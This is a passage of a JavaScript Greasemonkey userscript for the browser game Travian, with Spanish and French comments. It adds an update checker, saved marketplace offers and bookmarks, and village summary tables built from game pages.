realizar la peticion\n\t *\tmethod: Metodo de la peticion. Puede ser GET o POST\n\t *\tparam: Parametros codificados como URI (solo con POST, null si no se usan)\n\t *\tonSuccess: Funcion a invocar cuando se reciba el resultado\n\t *\tonFailure: Funcion a invocar si la peticion falla\n\t */\n\tfunction ajaxRequest(url, method, param, onSuccess, onFailure)\n\t{\n\t\tvar xmlHttpRequest = new XMLHttpRequest();\n\t\txmlHttpRequest.onreadystatechange = function()\n\t\t{\n\t\t\tif (xmlHttpRequest.readyState == 4 && xmlHttpRequest.status == 200 && onSuccess != null)\n\t\t\t\tonSuccess(xmlHttpRequest);\n\t\t\telse\n\t\t\t\tif (xmlHttpRequest.readyState == 4 && xmlHttpRequest.status != 200 && onFailure != null)\n\t\t\t\t\tonFailure(xmlHttpRequest);\n\t\t};\n\t\txmlHttpRequest.open(method, url, true);\n\t\txmlHttpRequest.url = url;\n\t\tif (method == 'POST')\n\t\t\txmlHttpRequest.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');\n\t\txmlHttpRequest.send(param);\n\t}\n\n\tfunction checkUpdate()\n\t{ // par Mik french\n\t\tvar b = find(\"//td[@class='menu']\", XPFirst);\n\t\tvar div = $elem(\"DIV\", \"<a target='_blank'; href='http://userscripts.org/scripts/show/26429'><b>Version \" + SCRIPT.version + \"</b></a>\", {}, {}, b);\n\t\tvar div2 = $elem(\"DIV\", \"\", {}, {}, div);\n\t\tvar a = $elem(\"A\", T('UPDATE_CHECK'), {\"href\": \"javascript:void(0)\"}, {}, div2);\n\t\ta.addEventListener('click', foo = function()\n\t\t{\n\t\t\tupdateScript(SCRIPT);\n\t\t}, false);\n\t}\n\n\t/**update the script (by Richard Gibson)*/\n\tfunction updateScript(SCRIPT)\n\t{ //target='_blank'\n\t\ttry\n\t\t{\n\t\t\tif (!GM_getValue)\n\t\t\t\treturn;\n\t\t\tGM_xmlhttpRequest({\n\t\t\t\tmethod: 'GET',\n\t\t\t\turl: SCRIPT.url + '?source', // don't increase the 'installed' count just for checking\n\t\t\t\tonload: function(result)\n\t\t\t\t{\n\t\t\t\t\tif (result.status != 200)\n\t\t\t\t\t\treturn;\n\t\t\t\t\tif (!result.responseText.match(/@version\\s+([\\d.]+)/))\n\t\t\t\t\t\treturn;\n\t\t\t\t\tvar theOtherVersion = parseFloat(RegExp.$1);\n\t\t\t\t\tif (theOtherVersion == parseFloat(SCRIPT.version))\n\t\t\t\t\t{\n\t\t\t\t\t\talert(T('LAST_VERSION') + ' (v' + SCRIPT.version + ')');\n\t\t\t\t\t\treturn;\n\t\t\t\t\t}\n\t\t\t\t\telse\n\t\t\t\t\t\tif (theOtherVersion < parseFloat(SCRIPT.version))\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\talert('Version en test (beta ' + SCRIPT.version + ')');\n\t\t\t\t\t\t\treturn;\n\t\t\t\t\t\t}\n\t\t\t\t\t\telse\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tif (confirm(T('NEW_VERSION') + ' (v' + theOtherVersion + ')!\\n\\n' + T('UPDATE_NOW') + '?\\n'))\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\twindow.location.href = SCRIPT.url;\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t});\n\t\t}\n\t\tcatch (ex)\n\t\t{\n\t\t}\n\t}\n\n\tfunction mostrarVentas()\n\t{\n\t\tif (!find(\"//input[@type='hidden' and @name='t' and @value='2']\", XPFirst))\n\t\t\treturn;\n\t\tfind(\"//form\", XPFirst).setAttribute(\"name\", \"sell\");\n\n\t\tfind(\"//select[@name='rid2']\", XPFirst).setAttribute(\"class\", \"fm\");//TMR - fix the class on this\n\t\tvar a = find(\"//input[@type='image' and @name='s1']\", XPFirst);\n\t\ta.addEventListener(\"click\", function()\n\t\t{\n\t\t\tvar param = [\"m1\", \"m2\", \"rid1\", \"rid2\", \"d2\"];\n\t\t\tvar checks = [\"d1\", \"ally\"];\n\t\t\tvar values = new Array();\n\t\t\tfor (var i = 0; i < param.length; i++)\n\t\t\t\teval(\"values[\" + i + \"] = find(\\\"//*[@name='\" + param[i] + \"']\\\", XPFirst).value\");\n\t\t\tfor (var i = 0; i < checks.length; i++)\n\t\t\t{\n\t\t\t\ttry\n\t\t\t\t{\n\t\t\t\t\teval(\"var b = find(\\\"//*[@name='\" + checks[i] + \"']\\\", XPFirst).checked\");\n\t\t\t\t\tif (b == true)\n\t\t\t\t\t\tvalues[i + param.length] = '1';\n\t\t\t\t\telse\n\t\t\t\t\t\tvalues[i + param.length] = '0';\n\t\t\t\t}\n\t\t\t\tcatch (e)\n\t\t\t\t{\n\t\t\t\t}\n\t\t\t}\n\t\t\tagregarElementoCookie(\"ventas\", values);\n\t\t}, 0);\n\n\t\tvar ventas = obtenerValorCookie(\"ventas\");\n\t\tif (ventas.length > 0)\n\t\t{\n\t\t\tvar tabla = $elem(\"TABLE\", \"\", {\n\t\t\t\t\"id\": \"ventas\",\n\t\t\t\t\"class\": \"tbg\",\n\t\t\t\t\"align\": \"center\",\n\t\t\t\t\"cellspacing\": 1,\n\t\t\t\t\"cellpadding\": 2\n\t\t\t});\n\n\t\t\tvar tr = $elem(\"TR\", \"\", {},{\n\t\t\t\t\"fontWeight\": \"bold\",\n\t\t\t\t\"backgroundImage\": \"url(\"+ imagenes[\"c2\"] + \")\"\n\t\t\t}, tabla);\n\t\t\t//tr.setAttribute(\"class\", \"rbg\");\n\t\t\tvar columnas = [T('OFREZCO'), T('BUSCO'), T('MAXTIME'), T('ALIANZA'), T('VENDER'), T('ELIMINAR')];\n\t\t\tfor (var i = 0; i < columnas.length; i++)\n\t\t\t\ttr.appendChild($elem(\"TD\", columnas[i]));\n\n\t\t\t\tfor (var i = 0; i < ventas.length; i++)\n\t\t\t{\n\t\t\t\tvar tr = $elem(\"TR\");\n\n\t\t\t\t//# TMR\n\t\t\t\ttd = $elem(\"TD\", '<img src=\"' + img('/r/' + (ventas[i][2]) + '.gif') + '\" width=\"18\" height=\"12\" border=\"0\" title=\"' + T('RECURSO' + (ventas[i][2])) + '\"> ' + ventas[i][0]);\n\t\t\t\ttr.appendChild(td);\n\t\t\t\ttd = $elem(\"TD\", '<img src=\"' + img('/r/' + (ventas[i][3]) + '.gif') + '\" width=\"18\" height=\"12\" border=\"0\" title=\"' + T('RECURSO' + (ventas[i][3])) + '\"> ' + ventas[i][1]);\n\t\t\t\ttr.appendChild(td);\n\n\t\t\t\ttd = $elem(\"TD\", ventas[i][5] == '1' ? ventas[i][4] : T('NO'));\n\t\t\t\ttr.appendChild(td);\n\t\t\t\ttd = $elem(\"TD\", ventas[i][6] == '1' ? T('SI') : T('NO'));\n\t\t\t\ttr.appendChild(td);\n\n\t\t\t\ttd = $elem(\"TD\", '<a href=\"javascript:void(0);\" onClick=\"sell.m1.value=' + ventas[i][0] + ';sell.m2.value=' + ventas[i][1] + ';sell.rid1.value=' + ventas[i][2] + ';sell.rid2.value=' + ventas[i][3] + ';sell.d2.value=' + ventas[i][4] + ';sell.d1.checked=' + (ventas[i][5] == '1') + (ventas[i][6] ? ';sell.ally.checked=' + (ventas[i][6] == '1') : '') + ';sell.submit();\"><img src=\"' + imagenes[\"ok1\"] + '\" title=\"' + T('VENDER') + '\" alt=\"' + T('VENDER') + '\" border=\"0\"></a>');\n\t\t\t\ttr.appendChild(td);\n\t\t\t\ttabla.appendChild(tr);\n\n\t\t\t\t//# TMR\n\t\t\t\tvar enlace = $elem(\"A\", \" <img src='\" + img('/a/del.gif') + \"' width='12' height='12' border='0' title='\" + T('ELIMINAR') + \"'>\");\n\n\t\t\t\tenlace.href = \"javascript:void(0);\";\n\t\t\t\tenlace.addEventListener(\"click\", crearEventoEliminarCookie(\"ventas\", i, mostrarVentas), 0);\n\t\t\t\tvar td = $elem(\"TD\");\n\t\t\t\ttd.appendChild(enlace);\n\t\t\t\ttr.appendChild(td);\n\t\t\t\t;\n\t\t\t}\n\t\t\tinsertAfter(a, tabla);\n\t\t}\n\t}\n\n\tfunction borrarCuenta()\n\t{\n\t\t//var a = find(\"//div[@class='f10' and parent::td[@class='s3'] and @style]\", XPFirst);\n\t\t//if (a) a.setAttribute(\"style\", \"position:absolute; display: block; padding: 4px; z-index: 2; border: solid 1px #00C000; background-color: #FEFFE3; width:130px; text-align:center; right:0px; top:0px;\");\n\t\tvar a = find(\"//p[parent::div[@id='lleft'] and @style]\", XPFirst);\n\t\tif (a)\n\t\t{\n\t\t\tmoveElement(a, document.body);\n\t\t\ta.setAttribute(\"style\", \"position:absolute; display: block; padding: 4px; z-index: 2; border: solid 1px #00C000; background-color: #FEFFE3; width:130px; text-align:center; right:0px; top:0px;\");\n\t\t}\n\t}\n\n\tfunction opcionMenuSuperior(texto)\n\t{\n\t\t//var a = find(\"//td[@class='s3']/p\", XPFirst);\n\t\tvar a = find(\"//p[@class='txt_menue']\", XPFirst);\n\t\tif (a)\n\t\t\ta.innerHTML += texto;\n\t}\n\n\tfunction opcionOcultaAlianza()\n\t{\n\t\tif (find(\"//td[@class='s3']/p\", XPList).snapshotLength > 1)\n\t\t\topcionMenuSuperior(' | <a href=\"allianz.php?s=7\">' + T('STAT') + '</a>');\n\t}\n\n\tfunction opcionOcultaMensajes()\n\t{\n\t\tif (!plus)\n\t\t\topcionMenuSuperior(' | <a href=\"nachrichten.php?t=3\">' + T('ARCHIVE') + '</a>');\n\t}\n\n\tfunction opcionOcultaInformes()\n\t{\n\t\tif (!plus)\n\t\t\topcionMenuSuperior(' | <a href=\"berichte.php?t=5\">' + T('ARCHIVE') + '</a>');\n\t}\n\n\tfunction MapaQuickSave()\n\t{\n\t\t// Intenta insertarlos en la lista derecha, si no existe la crea\n\t\tvar ba = find(\"//div[@class='map_details_actions']//table[@class='f10' and @width='100%']//tr\", XPFirst);\n\t\tif (!ba)\n\t\t\treturn;\n\t\tvar enlace = $elem(\"A\", '\\u00BB ' + T('MP'), {\"href\": \"javascript:void(0)\"});\n\t\tvar tr = $elem(\"TR\");\n\t\tvar td = $elem(\"TD\");\n\t\t// Al anyadir se pide el texto y el enlace, si se cancela o se deja vacio alguno se aborta\n\t\t// Despues de insertar se refresca la lista volviendola a insertar\n\t\tenlace.addEventListener(\"click\", function()\n\t\t{\n\t\t\tvar a = window.location;\n\t\t\tvar b = prompt(T('TEXTO'));\n\t\t\tif (b == null || b == '' || b == 'undefined')\n\t\t\t\treturn;\n\t\t\tagregarElementoCookie(\"marcadores\", [b, a]);\n\t\t\tremoveElement('marcadores');\n\t\t\tmostrarMarcadores();\n\t\t}, 0);\n\t\ttd.appendChild(enlace);\n\t\ttr.appendChild(td);\n\t\tba.parentNode.appendChild(tr);\n\t}\n\n\t/** Ensemble des fonctions pour dorf3. \"Info Villages\" */\n\tif (travplus == false || travplus == null)\n\t{\n\t\tfunction resumomenu()\n\t\t{\n\t\t\tvar ba = find(\"//div[@id='lright1']\", XPFirst);\n\t\t\tif (!ba)\n\t\t\t\treturn;\n\n\t\t\tvar p = find(\"//p[@class='txt_menue']\", XPFirst);\n\t\t\tp.innerHTML = p.innerHTML.match(/<a.*\\/a>/) + ' |\\n'+\n\t\t\t'<a href=\"dorf3.php?s=0\">' + T(\"MINI\") + '</a> |\\n<a href=\"dorf3.php?s=3\">' + T(\"RESS\") + '</a> |\\n'+\n\t\t\t'<a href=\"dorf3.php?s=2\">' + T(\"DEP\") + '</a> |\\n<a href=\"dorf3.php?s=1\">' + T(\"PC\") + '</a> |\\n'+\n\t\t\t'<a href=\"dorf3.php?s=5\">' + T(\"TROP\") + '</a> |\\n<a href=\"dorf3.php?s=7\">' + T(\"FT\") + '</a> |\\n'+\n\t\t\t'<a href=\"dorf3.php?s=4\">' + T(\"MAN\") + '</a> |\\n<a href=\"dorf3.php?s=9\">(+)</a>';\n\t\t\ttabela = find(\"//table[@class='tbg']\", XPFirst).innerHTML;\n\t\t\treturn tabela;\n\t\t}\n\t}\n\n\n\t/** Tableau globale */\n\tfunction crearEventoActualizarAldeaGeneric(did, endUrl, callBack, buildDorf)\n\t{\n\t\tvar page = buildDorf ? \"build.php\" : \"dorf1.php\";\n\t\tif (did)\n\t\t\tvar newdid = \"?newdid=\";\n\t\telse\n\t\t{\tvar newdid = \"\";\n\t\t\tendUrl[0] = \"?\";\n\t\t}\n\t\treturn function()\n\t\t{\n\t\t\tfind(\"//img[@id='aldea\" + did + \"_boton']\", XPFirst).src = img('a/b3.gif');\n\t\t\tajaxRequest(page + newdid + did + endUrl, \"GET\", null, callBack, function()\n\t\t\t{\n\t\t\t\tfind(\"//img[@id='aldea\" + did + \"_boton']\", XPFirst).src = img('a/b4.gif');\n\t\t\t});\n\t\t};\n\t}\n\n\n\t/** Tableau globale */\n\tfunction crearEventoActualizarAldea(did){ return crearEventoActualizarAldeaGeneric(did, '', procesarAldea, 0);}\n\n\t/** Tableau dépot */\n\tfunction crearEventoActualizarAldea1(did){ return crearEventoActualizarAldeaGeneric(did, '', procesarArmazem, 0); }\n\n\t/** Tableau mini */\n\tfunction crearEventoActualizarAldea2(did){ return crearEventoActualizarAldeaGeneric(did, '', procesarAldeaMini, 0);}\n\n\t/** Tableau troupes */\n\tfunction crearEventoActualizarAldea3(did){ return crearEventoActualizarAldeaGeneric(did, '', procesarTropas, 0);}\n\n\t/** Tableau PC */\n\tfunction crearEventoActualizarAldea4(did){ return crearEventoActualizarAldeaGeneric(did, '&gid=25&s=4', procesarPC, 1); }\n\n\tfunction crearEventoActualizarAldea4b(did){ return crearEventoActualizarAldeaGeneric(did, '&gid=26&s=4', procesarPCb, 1); }\n\n\t/** Tableau ressource */\n\tfunction crearEventoActualizarAldea5(did){ return crearEventoActualizarAldeaGeneric(did, '', procesarArmazembis, 0); }\n\n\t/** Tableau fete */\n\tfunction crearEventoActualizarAldea6(did){ return crearEventoActualizarAldeaGeneric(did, '&gid=24', procesarPF, 1); }\n\n\t/** Tableau Manoir */\n\tfunction crearEventoActualizarAldea7(did){ return crearEventoActualizarAldeaGeneric(did, '&gid=37&land', procesarMA, 1);}\n\n\tfunction crearEventoActualizarAldeaF(did){ return crearEventoActualizarAldeaGeneric(did, '&gid=24', procesarF, 1); }\n\n\tfunction crearEventoActualizarAldeaM(did){ return crearEventoActualizarAldeaGeneric(did, '&gid=17', procesarM, 1); }\n\n\t/** info dorf1*/\n\tfunction crearEventoActualizarAldeaT(did){ return crearEventoActualizarAldeaGeneric(did, '', procesarT, 0); }\n\n\tfunction procesarAldea(t)\n\t{\n\t\t// Carga la pagina resultado en un arbol DOM para hacer busquedas por XPath\n\t\tvar ansdoc = document.implementation.createDocument(\"\", \"\", null);\n\t\tvar ans = $elem('DIV', t.responseText, {}, {}, ansdoc);\n\n\t\t// ID de aldea\n\t\ttry\n\t\t{\tansdoc.evaluate(\"//a[@class='active_vl']\", ans, null, XPFirst, null).singleNodeValue.getAttribute(\"href\").search(/\\?newdid=(\\d+)/);\n\t\t\tvar did = RegExp.$1;\n\t\t}\n\t\tcatch(e)\n\t\t{\tvar did = lonelyTownNEWDID;\n\t\t}\n\t\tvar times = new Array();\n\n\t\tvilleinfo = readCookie(\"villeinfo\" + server);\n\t\tif (villeinfo == true || villeinfo == null)\n\t\t{\n\t\t\t// Materias primas simplifié\n\t\t\tvar a = '';\n\t\t\tfor (var i = 1; i < 5; i++)\n\t\t\t{\n\t\t\t\tvar b = get(\"l\" + (5 - i), ansdoc);\n\t\t\t\tvar perc = Math.round((b.innerHTML.split(\"/\")[0] * 100) / b.innerHTML.split(\"/\")[1]);\n\t\t\t\tvar cant = b.innerHTML.split(\"/\")[0];\n\t\t\t\tvar color = '';\n\t\t\t\tif (perc > 0)\n\t\t\t\t{\n\t\t\t\t\tcolor = '<font color=green>';\n\t\t\t\t}\n\t\t\t\tif (perc > 10)\n\t\t\t\t{\n\t\t\t\t\tcolor = '<font color=black>';\n\t\t\t\t}\n\t\t\t\tif (perc > 69)\n\t\t\t\t{\n\t\t\t\t\tcolor = '<font color=orange>';\n\t\t\t\t}\n\t\t\t\tif (perc > 98)\n\t\t\t\t{\n\t\t\t\t\tcolor = '<font color=red>';\n\t\t\t\t}\n\t\t\t\t// Espero que la \"k\" sea internacional\n\t\t\t\tif (cant % 1000 == 0)\n\t\t\t\t\ttxt_cant = (cant / 1000) + \"k\";\n\t\t\t\telse\n\t\t\t\t\ttxt_cant = cant;\n\t\t\t\tvar c = '';\n\t\t\t\tc += '<img src=\"' + img('r/' + i + '.gif') + '\" border=\"0\" title=\"' + T('RECURSO' + i) + '\">';\n\t\t\t\tc += '<span style=\"font-size:15px\" title=\"' + b.innerHTML + '\">' + color + '(' + perc + '%)</span>';\n\t\t\t\ta += '<nobr>' + c + '</nobr>';\n\t\t\t\tif (i != 4)\n\t\t\t\t\ta += '<font color=#DCDCDC>' + \" | \" + '</font>';\n\t\t\t}\n\t\t\tfind(\"//td[@id='aldea\" + did + \"_0\" + \"']\", XPFirst).innerHTML = a;\n\t\t}\n\n\t\tvilleinfo = readCookie(\"villeinfo\" + server);\n\t\tif (villeinfo == false || villeinfo == null)\n\t\t{\n\t\t\t// Materias primas complet\n\t\t\tvar a = '';\n\t\t\tfor (var i = 1; i < 5; i++)\n\t\t\t{\n\t\t\t\tvar b = get(\"l\" + (5 - i), ansdoc);\n\t\t\t\tvar perc = Math.round((b.innerHTML.split(\"/\")[0] * 100) / b.innerHTML.split(\"/\")[1]);\n\t\t\t\tvar cant = b.innerHTML.split(\"/\")[0];\n\t\t\t\tvar color = '';\n\t\t\t\tif (perc > 0)\n\t\t\t\t{\n\t\t\t\t\tcolor = '<font color=black>';\n\t\t\t\t}\n\t\t\t\tif (perc > 98)\n\t\t\t\t{\n\t\t\t\t\tcolor = '<font color=red>';\n\t\t\t\t}\n\t\t\t\t// Espero que la \"k\" sea internacional\n\t\t\t\tif (cant % 1000 == 0)\n\t\t\t\t\ttxt_cant = (cant / 1000) + \"k\";\n\t\t\t\telse\n\t\t\t\t\ttxt_cant = cant;\n\t\t\t\tvar c = '';\n\t\t\t\tc += '<img src=\"' + img('r/' + i + '.gif') + '\" border=\"0\" title=\"' + T('RECURSO' + i) + '\">';\n\t\t\t\tc += '<span style=\"font-size:16px\" title=\"' + b.title + '\">' + (cant < 0 ? '<font color=\"#ff0000\">' + txt_cant + '</font>' : txt_cant) + '</span> <span style=\"font-size:10px\" title=\"' + b.innerHTML + '\">' + (color + '(' + perc) + '%)</span>';\n\t\t\t\ta += '<nobr>' + c + '</nobr>';\n\t\t\t\tif (i != 4)\n\t\t\t\t\ta += '<font color=#DCDCDC>' + \" | \" + '</font>';\n\t\t\t}\n\t\t\tfind(\"//td[@id='aldea\" + did + \"_0\" + \"']\", XPFirst).innerHTML = a;\n\t\t}\n\n\t\t// Ataques\n\t\tvar casilla = find(\"//td[@id='aldea\" + did + \"_1\" + \"']\", XPFirst);\n\t\tvar a = ansdoc.evaluate(\"//div[@id='ltbw1']//table[@class='f10']\", ans, null, XPFirst, null).singleNodeValue;\n\t\tif (!a)\n\t\t\tvar a = ansdoc.evaluate(\"//div[@id='ltbw0']//table[@class='f10']\", ans, null, XPFirst, null).singleNodeValue;\n\t\tif (a)\n\t\t{\n\t\t\tvar a = a.firstChild;\n\t\t\tvar b = new Array();\n\t\t\tfor (var i = 0; i < a.childNodes.length; i++)\n\t\t\t{\n\t\t\t\tvar tr = a.childNodes[i];\n\t\t\t\t// FIXME: Apanyo para FF. Firefox mete nodos vacios\n\t\t\t\tvar error = (tr.childNodes.length == 5 ? false : true);\n\t\t\t\ttimes.push(tr.childNodes[error ? 9 : 4].textContent.split(\" \")[0]);\n\t\t\t\tb[i] = '<nobr><a href=\"build.php?newdid=' + did + '&gid=16\" title=\"' + tr.childNodes[error ? 3 : 1].textContent.split(\" \")[1] + '\">' + tr.childNodes[error ? 1 : 0].firstChild.innerHTML + \"</a> <span style='font-size:13px; color:#2F4F4F' id='timeouta'>\" + tr.childNodes[error ? 9 : 4].textContent.split(\" \")[0] + '</span></nobr>';\n\t\t\t}\n\t\t\tcasilla.innerHTML = b.join(\" | \");\n\t\t}\n\t\telse\n\t\t\tcasilla.innerHTML = '-';\n\n\t\t// Construcciones\n\t\tvar casilla = find(\"//td[@id='aldea\" + did + \"_2\" + \"']\", XPFirst);\n\t\tvar a = ansdoc.evaluate(\"//div[@id='lbau1']//table[@class='f10']\", ans, null, XPFirst, null).singleNodeValue;\n\t\tif (a)\n\t\t{\n\t\t\tvar b = new Array();\n\t\t\tfor (var i = 0; i < a.firstChild.childNodes.length; i++)\n\t\t\t{\n\t\t\t\ttimes.push(a.firstChild.childNodes[i].childNodes[2].textContent.split(\" \")[0]);\n\t\t\t\tb[i] = '<nobr><img src=\"' + img('a/bau.gif') + '\" width=\"11\" border=\"0\" title=\"' + a.firstChild.childNodes[i].childNodes[1].innerHTML + '\"/> <span style=\"font-size:16px; color:#666666\" id=\"timeouta\">' + a.firstChild.childNodes[i].childNodes[2].textContent.split(\" \")[0] + \"</span></nobr>\";\n\t\t\t}\n\t\t\tcasilla.innerHTML = b.join(\" | \");\n\t\t}\n\t\telse\n\t\t\tcasilla.innerHTML = '-';\n\n\t\tfind(\"//img[@id='aldea\" + did + \"_boton']\", XPFirst).src = img('a/b2.gif');\n\t\tfind(\"//span[@class='c2']\", XPFirst).removeAttribute(\"class\");\n\t\tfind(\"//a[contains(@href, '\" + did + \"') and ancestor::div[@id='lright1']]\", XPFirst).parentNode.firstChild.className = 'c2';\n\n\t\t// Auto Refresh\n\t\tif (times.length > 0)\n\t\t{\n\t\t\tvar time = Number.POSITIVE_INFINITY;\n\t\t\tfor (var i = 0; i < times.length; i++)\n\t\t\t{\n\t\t\t\ttimes[i] = calcular_segundos(times[i]);\n\t\t\t\tif (times[i] < time)\n\t\t\t\t\ttime = times[i];\n\t\t\t}\n\t\t}\n\t\t// FIXME: Firefox rendering bug\n\t\tcasilla.parentNode.setAttribute(\"style\", \"width:100%\");\n\t}\n\n\tfunction procesarArmazem(t){ return procesarArmazemGeneric(t, false); }\n\tfunction procesarArmazembis(t){ return procesarArmazemGeneric(t, true); }\n\n\tfunction procesarArmazemGeneric(t, percentual)\n\t{\n\t\t// Carga la pagina resultado en un arbol DOM para hacer busquedas por XPath\n\t\tvar ansdoc = document.implementation.createDocument(\"\", \"\", null);\n\t\tvar ans = $elem('DIV', t.responseText, {}, {}, ansdoc);\n\n\t\t// ID de aldea\n\t\ttry\n\t\t{\tansdoc.evaluate(\"//a[@class='active_vl']\", ans, null, XPFirst, null).singleNodeValue.getAttribute(\"href\").search(/\\?newdid=(\\d+)/);\n\t\t\tvar did = RegExp.$1;\n\t\t}\n\t\tcatch(e)\n\t\t{\tvar did = lonelyTownNEWDID;\n\t\t}\n\n\t\t// Materias primas\n\t\tvar tmpStr = '';\n\t\tvar c = 1;\n\t\tvar Tiempos = new Array(4);\n\t\tfor (var i = 4; i > 0; i--)\n\t\t{\n\t\t\tvar b = get(\"l\" + i, ansdoc);\n\t\t\tvar d = get(\"l\" + i, ansdoc).title;\n\t\t\tvar qtd = '';\n\t\t\tif(percentual)\n\t\t\t{\n\t\t\t\tvar cant = b.innerHTML.split(\"/\")[0];\n\t\t\t\tif (cant % 1000 == 0)\n\t\t\t\t\tqtd = (cant / 1000) + \"k\";\n\t\t\t\telse\n\t\t\t\t\tqtd = cant;\n\t\t\t}\n\t\t\tvar perc = Math.round((b.innerHTML.split(\"/\")[0] * 100) / b.innerHTML.split(\"/\")[1]);\n\t\t\tvar perc1 = (b.innerHTML.split(\"/\")[0]);\n\t\t\tvar perc2 = (b.innerHTML.split(\"/\")[1]);\n\t\t\tvar neg = '';\n\t\t\tvar color = 'black';\n\t\t\tif (perc > 60)\n\t\t\t\tcolor = 'orange';\n\t\t\telse if (perc > 90)\n\t\t\t\tcolor = 'red';\n\t\t\telse if (perc < 20)\n\t\t\t\tcolor = 'green';\n\n\t\t\ttmpStr = '<nobr><span style=\"font-size:13px;\" title=\"' + b.innerHTML.split(\"/\")[0] + '/' + b.innerHTML.split(\"/\")[1] + ' + ' + d + '\"><b><font color=\"'+color+'\">';\n\t\t\tif(percentual)\n\t\t\t\ttmpStr += qtd;\n\t\t\telse\n\t\t\t\ttmpStr += perc + '%';\n\t\t\ttmpStr += '</font></b></span></nobr>';\n\t\t\tif (d < 0)\n\t\t\t\tvar tiempo = Math.round((perc1 / -d) * 3600);\n\t\t\t// Si la produccion es 0, el tiempo es infinito\n\t\t\telse\n\t\t\t\tif (d == 0)\n\t\t\t\t\tvar tiempo = -1;\n\t\t\t\t// Si la produccion es negativa, se calcula el tiempo hasta el vaciado\n\t\t\t\telse\n\t\t\t\t\tvar tiempo = Math.round(((perc2 - perc1) / d) * 3600);\n\t\t\tTiempos[i] = tiempo;\n\n\t\t\tif (i > 1)\n\t\t\t\tfind(\"//td[@id='aldea\" + did + \"_\" + c + \"']\", XPFirst).innerHTML = tmpStr;\n\t\t\tc++;\n\n\t\t\tif (i == 2)\n\t\t\t{\n\t\t\t\tvar min = Tiempos[4];\n\t\t\t\tfor (j = 4; j > 1; j--)\n\t\t\t\t\tif (Tiempos[j] < min)\n\t\t\t\t\t\tmin = Tiempos[j];\n\t\t\t\tclock = \"<span style='font-size:10px; id='timeouta'>\" + formatear_tiempo(min) + \"</span>\";\n\n\t\t\t\tvar tiempoRestante = calculateHighlight(1, min, clock);\n\t\t\t\tfind(\"//td[@id='aldea\" + did + \"_\" + 4 + \"']\", XPFirst).innerHTML = tiempoRestante;\n\t\t\t}\n\n\t\t\tif (i == 1)\n\t\t\t{\n\t\t\t\tfind(\"//td[@id='aldea\" + did + \"_\" + 5 + \"']\", XPFirst).innerHTML = tmpStr;\n\t\t\t\tvar tiempoRestante = calculateHighlight(d, tiempo, \"<span style='font-size:10px; id='timeouta'>\" + formatear_tiempo(tiempo) + \"</span>\");\n\t\t\t\tfind(\"//td[@id='aldea\" + did + \"_\" + 6 + \"']\", XPFirst).innerHTML = tiempoRestante;\n\t\t\t}\n\t\t}\n\n\t\t// Construcciones\n\t\tvar casilla = find(\"//td[@id='aldea\" + did + \"_\" + 7 + \"']\", XPFirst);\n\t\tvar a = ansdoc.evaluate(\"//div[@id='lbau1']//table[@class='f10']\", ans, null, XPFirst, null).singleNodeValue;\n\t\tif (a)\n\t\t{\n\t\t\tvar b = new Array();\n\t\t\tfor (var i = 0; i < a.firstChild.childNodes.length; i++)\n\t\t\t\tb[i] = '<nobr><img src=\"' + img('a/bau.gif') + '\" title=\"' + a.firstChild.childNodes[i].childNodes[1].innerHTML + \" \" + a.firstChild.childNodes[i].childNodes[2].textContent.split(\" \")[0] + '\"></nobr>';\n\t\t\tcasilla.innerHTML = b.join(\" \");\n\t\t}\n\t\telse\n\t\t\tcasilla.innerHTML = '-';\n\n\t\tfind(\"//img[@id='aldea\" + did + \"_boton']\", XPFirst).src = img('a/b2.gif');\n\t\tfind(\"//span[@class='c2']\", XPFirst).removeAttribute(\"class\");\n\t\tfind(\"//a[contains(@href, '\" + did + \"') and ancestor::div[@id='lright1']]\", XPFirst).parentNode.firstChild.className = 'c2';\n\n\t\t// FIXME: Firefox rendering bug\n\t\tcasilla.parentNode.setAttribute(\"style\", \"width:100%\");\n\t}\n\n\tfunction procesarAldeaMini(t)\n\t{\n\t\t// Carga la pagina resultado en un arbol DOM para hacer busquedas por XPath\n\t\tvar ansdoc = document.implementation.createDocument(\"\", \"\", null);\n\t\tvar ans = $elem('DIV', t.responseText, {}, {}, ansdoc);\n\n\t\t// ID de aldea\n\t\ttry\n\t\t{\tansdoc.evaluate(\"//a[@class='active_vl']\", ans, null, XPFirst, null).singleNodeValue.getAttribute(\"href\").search(/\\?newdid=(\\d+)/);\n\t\t\tvar did = RegExp.$1;\n\t\t}\n\t\tcatch(e)\n\t\t{\tvar did = lonelyTownNEWDID;\n\t\t}\n\t\tvar times = new Array();\n\n\t\t// Ataques\n\t\tvar casilla = find(\"//td[@id='aldea\" + did + \"_0\" + \"']\", XPFirst);\n\t\tvar a = ansdoc.evaluate(\"//div[@id='ltbw1']//table[@class='f10']\", ans, null, XPFirst, null).singleNodeValue;\n\t\tif (!a)\n\t\t\tvar a = ansdoc.evaluate(\"//div[@id='ltbw0']//table[@class='f10']\", ans, null, XPFirst, null).singleNodeValue;\n\t\tif (a)\n\t\t{\n\t\t\tvar a = a.firstChild;\n\t\t\tvar b = new Array();\n\t\t\tfor (var i = 0; i < a.childNodes.length; i++)\n\t\t\t{\n\t\t\t\tvar tr = a.childNodes[i];\n\t\t\t\t// FIXME: Apanyo para FF. Firefox mete nodos vacios\n\t\t\t\tvar error = (tr.childNodes.length == 5 ? false : true);\n\t\t\t\ttimes.push(tr.childNodes[error ? 9 : 4].textContent.split(\" \")[0]);\n\t\t\t\tb[i] = '<nobr><a href=\"build.php?newdid=' + did + '&gid=16\" title=\"' + tr.childNodes[error ? 3 : 1].textContent.split(\" \")[1] + '\">' + tr.childNodes[error ? 1 : 0].firstChild.innerHTML + \"</a> <span style='font-size:14px' id='timeouta'>\" + tr.childNodes[error ? 9 : 4].textContent.split(\" \")[0] + '</span></nobr>';\n\t\t\t}\n\t\t\tcasilla.innerHTML = b.join(\" | \");\n\t\t}\n\t\telse\n\t\t\tcasilla.innerHTML = '-';\n\n\t\t// Construcciones\n\t\tvar casilla = find(\"//td[@id='aldea\" + did + \"_1\" + \"']\", XPFirst);\n\t\tvar a = ansdoc.evaluate(\"//div[@id='lbau1']//table[@class='f10']\", ans, null, XPFirst, null).singleNodeValue;\n\t\tif (a)\n\t\t{\n\t\t\tvar b = new Array();\n\t\t\tfor (var i = 0; i < a.firstChild.childNodes.length; 